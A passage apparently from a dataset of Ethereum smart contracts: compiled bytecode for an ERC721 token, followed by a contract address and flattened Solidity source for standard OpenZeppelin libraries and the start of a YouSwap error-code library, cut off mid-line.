8152600401612044906135cf565b60405180910390fd5b612058838383612690565b612063600082611dd0565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120b391906139ce565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461210a91906138ed565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46121c9838383612695565b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60005b818110156122cf576122a96007611cb9565b6122bc836122b76007611cab565b61269a565b80806122c790613b1b565b915050612297565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612343576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233a906135ef565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161243491906134f2565b60405180910390a3505050565b61244c848484611f67565b612458848484846126b8565b612497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248e9061352f565b60405180910390fd5b50505050565b6060600880546124ac90613ab8565b80601f01602080910402602001604051908101604052809291908181526020018280546124d890613ab8565b80156125255780601f106124fa57610100808354040283529160200191612525565b820191906000526020600020905b81548152906001019060200180831161250857829003601f168201915b5050505050905090565b60606000821415612577576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061268b565b600082905060005b600082146125a957808061259290613b1b565b915050600a826125a29190613943565b915061257f565b60008167ffffffffffffffff8111156125c5576125c4613c51565b5b6040519080825280601f01601f1916602001820160405280156125f75781602001600182028036833780820191505090505b5090505b600085146126845760018261261091906139ce565b9150600a8561261f9190613b64565b603061262b91906138ed565b60f81b81838151811061264157612640613c22565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561267d9190613943565b94506125fb565b8093505050505b919050565b505050565b505050565b6126b482826040518060200160405280600081525061284f565b5050565b60006126d98473ffffffffffffffffffffffffffffffffffffffff16611ccf565b15612842578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612702611dc8565b8786866040518563ffffffff1660e01b81526004016127249493929190613484565b602060405180830381600087803b15801561273e57600080fd5b505af192505050801561276f57506040513d601f19601f8201168201806040525081019061276c9190612e8d565b60015b6127f2573d806000811461279f576040519150601f19603f3d011682016040523d82523d6000602084013e6127a4565b606091505b506000815114156127ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e19061352f565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612847565b600190505b949350505050565b61285983836128aa565b61286660008484846126b8565b6128a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289c9061352f565b60405180910390fd5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561291a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129119061368f565b60405180910390fd5b61292381611d5c565b15612963576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295a9061358f565b60405180910390fd5b61296f60008383612690565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546129bf91906138ed565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612a8060008383612695565b5050565b828054612a9090613ab8565b90600052602060002090601f016020900481019282612ab25760008555612af9565b82601f10612acb57805160ff1916838001178555612af9565b82800160010185558215612af9579182015b82811115612af8578251825591602001919060010190612add565b5b509050612b069190612b0a565b5090565b5b80821115612b23576000816000905550600101612b0b565b5090565b6000612b3a612b35846137ef565b6137ca565b905082815260208101848484011115612b5657612b55613c85565b5b612b61848285613a76565b509392505050565b6000612b7c612b7784613820565b6137ca565b905082815260208101848484011115612b9857612b97613c85565b5b612ba3848285613a76565b509392505050565b600081359050612bba816141a4565b92915050565b600081359050612bcf816141bb565b92915050565b600081359050612be4816141d2565b92915050565b600081519050612bf9816141d2565b92915050565b600082601f830112612c1457612c13613c80565b5b8135612c24848260208601612b27565b91505092915050565b600082601f830112612c4257612c41613c80565b5b8135612c52848260208601612b69565b91505092915050565b600081359050612c6a816141e9565b92915050565b600060208284031215612c8657612c85613c8f565b5b6000612c9484828501612bab565b91505092915050565b60008060408385031215612cb457612cb3613c8f565b5b6000612cc285828601612bab565b9250506020612cd385828601612bab565b9150509250929050565b600080600060608486031215612cf657612cf5613c8f565b5b6000612d0486828701612bab565b9350506020612d1586828701612bab565b9250506040612d2686828701612c5b565b9150509250925092565b60008060008060808587031215612d4a57612d49613c8f565b5b6000612d5887828801612bab565b9450506020612d6987828801612bab565b9350506040612d7a87828801612c5b565b925050606085013567ffffffffffffffff811115612d9b57612d9a613c8a565b5b612da787828801612bff565b91505092959194509250565b60008060408385031215612dca57612dc9613c8f565b5b6000612dd885828601612bab565b9250506020612de985828601612bc0565b9150509250929050565b60008060408385031215612e0a57612e09613c8f565b5b6000612e1885828601612bab565b9250506020612e2985828601612c5b565b9150509250929050565b600060208284031215612e4957612e48613c8f565b5b6000612e5784828501612bc0565b91505092915050565b600060208284031215612e7657612e75613c8f565b5b6000612e8484828501612bd5565b91505092915050565b600060208284031215612ea357612ea2613c8f565b5b6000612eb184828501612bea565b91505092915050565b600060208284031215612ed057612ecf613c8f565b5b600082013567ffffffffffffffff811115612eee57612eed613c8a565b5b612efa84828501612c2d565b91505092915050565b600060208284031215612f1957612f18613c8f565b5b6000612f2784828501612c5b565b91505092915050565b60008060408385031215612f4757612f46613c8f565b5b6000612f5585828601612c5b565b9250506020612f6685828601612bab565b9150509250929050565b6000612f7c8383613405565b60208301905092915050565b612f9181613a02565b82525050565b6000612fa282613876565b612fac81856138a4565b9350612fb783613851565b8060005b83811015612fe8578151612fcf8882612f70565b9750612fda83613897565b925050600181019050612fbb565b5085935050505092915050565b612ffe81613a14565b82525050565b600061300f82613881565b61301981856138b5565b9350613029818560208601613a85565b61303281613c94565b840191505092915050565b60006130488261388c565b61305281856138d1565b9350613062818560208601613a85565b61306b81613c94565b840191505092915050565b60006130818261388c565b61308b81856138e2565b935061309b818560208601613a85565b80840191505092915050565b600081546130b481613ab8565b6130be81866138e2565b945060018216600081146130d957600181146130ea5761311d565b60ff1983168652818601935061311d565b6130f385613861565b60005b83811015613115578154818901526001820191506020810190506130f6565b838801955050505b50505092915050565b60006131336032836138d1565b915061313e82613ca5565b604082019050919050565b60006131566026836138d1565b915061316182613cf4565b604082019050919050565b60006131796025836138d1565b915061318482613d43565b604082019050919050565b600061319c601c836138d1565b91506131a782613d92565b602082019050919050565b60006131bf6014836138d1565b91506131ca82613dbb565b602082019050919050565b60006131e26024836138d1565b91506131ed82613de4565b604082019050919050565b60006132056019836138d1565b915061321082613e33565b602082019050919050565b6000613228602c836138d1565b915061323382613e5c565b604082019050919050565b600061324b6038836138d1565b915061325682613eab565b604082019050919050565b600061326e602a836138d1565b915061327982613efa565b604082019050919050565b60006132916029836138d1565b915061329c82613f49565b604082019050919050565b60006132b46020836138d1565b91506132bf82613f98565b602082019050919050565b60006132d7602c836138d1565b91506132e282613fc1565b604082019050919050565b60006132fa6020836138d1565b915061330582614010565b602082019050919050565b600061331d6017836138d1565b915061332882614039565b602082019050919050565b6000613340602f836138d1565b915061334b82614062565b604082019050919050565b60006133636021836138d1565b915061336e826140b1565b604082019050919050565b60006133866000836138c6565b915061339182614100565b600082019050919050565b60006133a96014836138d1565b91506133b482614103565b602082019050919050565b60006133cc6031836138d1565b91506133d78261412c565b604082019050919050565b60006133ef6013836138d1565b91506133fa8261417b565b602082019050919050565b61340e81613a6c565b82525050565b61341d81613a6c565b82525050565b600061342f8286613076565b915061343b8285613076565b915061344782846130a7565b9150819050949350505050565b600061345f82613379565b9150819050919050565b600060208201905061347e6000830184612f88565b92915050565b60006080820190506134996000830187612f88565b6134a66020830186612f88565b6134b36040830185613414565b81810360608301526134c58184613004565b905095945050505050565b600060208201905081810360008301526134ea8184612f97565b905092915050565b60006020820190506135076000830184612ff5565b92915050565b60006020820190508181036000830152613527818461303d565b905092915050565b6000602082019050818103600083015261354881613126565b9050919050565b6000602082019050818103600083015261356881613149565b9050919050565b600060208201905081810360008301526135888161316c565b9050919050565b600060208201905081810360008301526135a88161318f565b9050919050565b600060208201905081810360008301526135c8816131b2565b9050919050565b600060208201905081810360008301526135e8816131d5565b9050919050565b60006020820190508181036000830152613608816131f8565b9050919050565b600060208201905081810360008301526136288161321b565b9050919050565b600060208201905081810360008301526136488161323e565b9050919050565b6000602082019050818103600083015261366881613261565b9050919050565b6000602082019050818103600083015261368881613284565b9050919050565b600060208201905081810360008301526136a8816132a7565b9050919050565b600060208201905081810360008301526136c8816132ca565b9050919050565b600060208201905081810360008301526136e8816132ed565b9050919050565b6000602082019050818103600083015261370881613310565b9050919050565b6000602082019050818103600083015261372881613333565b9050919050565b6000602082019050818103600083015261374881613356565b9050919050565b600060208201905081810360008301526137688161339c565b9050919050565b60006020820190508181036000830152613788816133bf565b9050919050565b600060208201905081810360008301526137a8816133e2565b9050919050565b60006020820190506137c46000830184613414565b92915050565b60006137d46137e5565b90506137e08282613aea565b919050565b6000604051905090565b600067ffffffffffffffff82111561380a57613809613c51565b5b61381382613c94565b9050602081019050919050565b600067ffffffffffffffff82111561383b5761383a613c51565b5b61384482613c94565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b60006138f882613a6c565b915061390383613a6c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561393857613937613b95565b5b828201905092915050565b600061394e82613a6c565b915061395983613a6c565b92508261396957613968613bc4565b5b828204905092915050565b600061397f82613a6c565b915061398a83613a6c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156139c3576139c2613b95565b5b828202905092915050565b60006139d982613a6c565b91506139e483613a6c565b9250828210156139f7576139f6613b95565b5b828203905092915050565b6000613a0d82613a4c565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613aa3578082015181840152602081019050613a88565b83811115613ab2576000848401525b50505050565b60006002820490506001821680613ad057607f821691505b60208210811415613ae457613ae3613bf3565b5b50919050565b613af382613c94565b810181811067ffffffffffffffff82111715613b1257613b11613c51565b5b80604052505050565b6000613b2682613a6c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613b5957613b58613b95565b5b600182019050919050565b6000613b6f82613a6c565b9150613b7a83613a6c565b925082613b8a57613b89613bc4565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f496e76616c6964206d696e7420616d6f756e7421000000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54686520636f6e74726163742069732070617573656421000000000000000000600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f4d617820737570706c7920657863656564656421000000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f496e73756666696369656e742066756e64732100000000000000000000000000600082015250565b6141ad81613a02565b81146141b857600080fd5b50565b6141c481613a14565b81146141cf57600080fd5b50565b6141db81613a20565b81146141e657600080fd5b50565b6141f281613a6c565b81146141fd57600080fd5b5056fea264697066735822122084922b2593736699da429728a76425f13b2da9c2e832d09a8cd9c6f79a816bd664736f6c63430008070033
[ 5 ]
0xf264AFC5a03ea7420Cc6aFC014CC462C3c1EBdB2
// File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: localhost/contract/library/ErrorCode.sol pragma solidity 0.7.4; library ErrorCode { string constant FORBIDDEN = 'YouSwap:FORBIDDEN'; string constant IDENTICAL_ADDRESSES = 'YouSwap:IDENTICAL_ADDRESSES'; string constant ZERO_ADDRESS = 'YouSwap:ZERO_ADDRESS'; string constant INVALID_ADDRESSES = 'YouSwap:INVALID_ADDRESSES'; string constant BALANCE_INSUFFICIENT = 'YouSwap:BALANCE_INSUFFICIENT'; string constant REWARDTOTAL_LESS_THAN_REWARDPROVIDE = 'YouSwap:REWARDTOTAL_LESS_THAN_REWARDPROVIDE'; string constant PARAMETER_TOO_LONG = 'YouSwap:PARAMETER_TOO_LONG'; string constant REGISTERED = 'YouSwap:REGISTERED'; string constant MINING_NOT_STARTED = 'YouSwap:MINING_NOT_STARTED'; string constant END_OF_MINING = 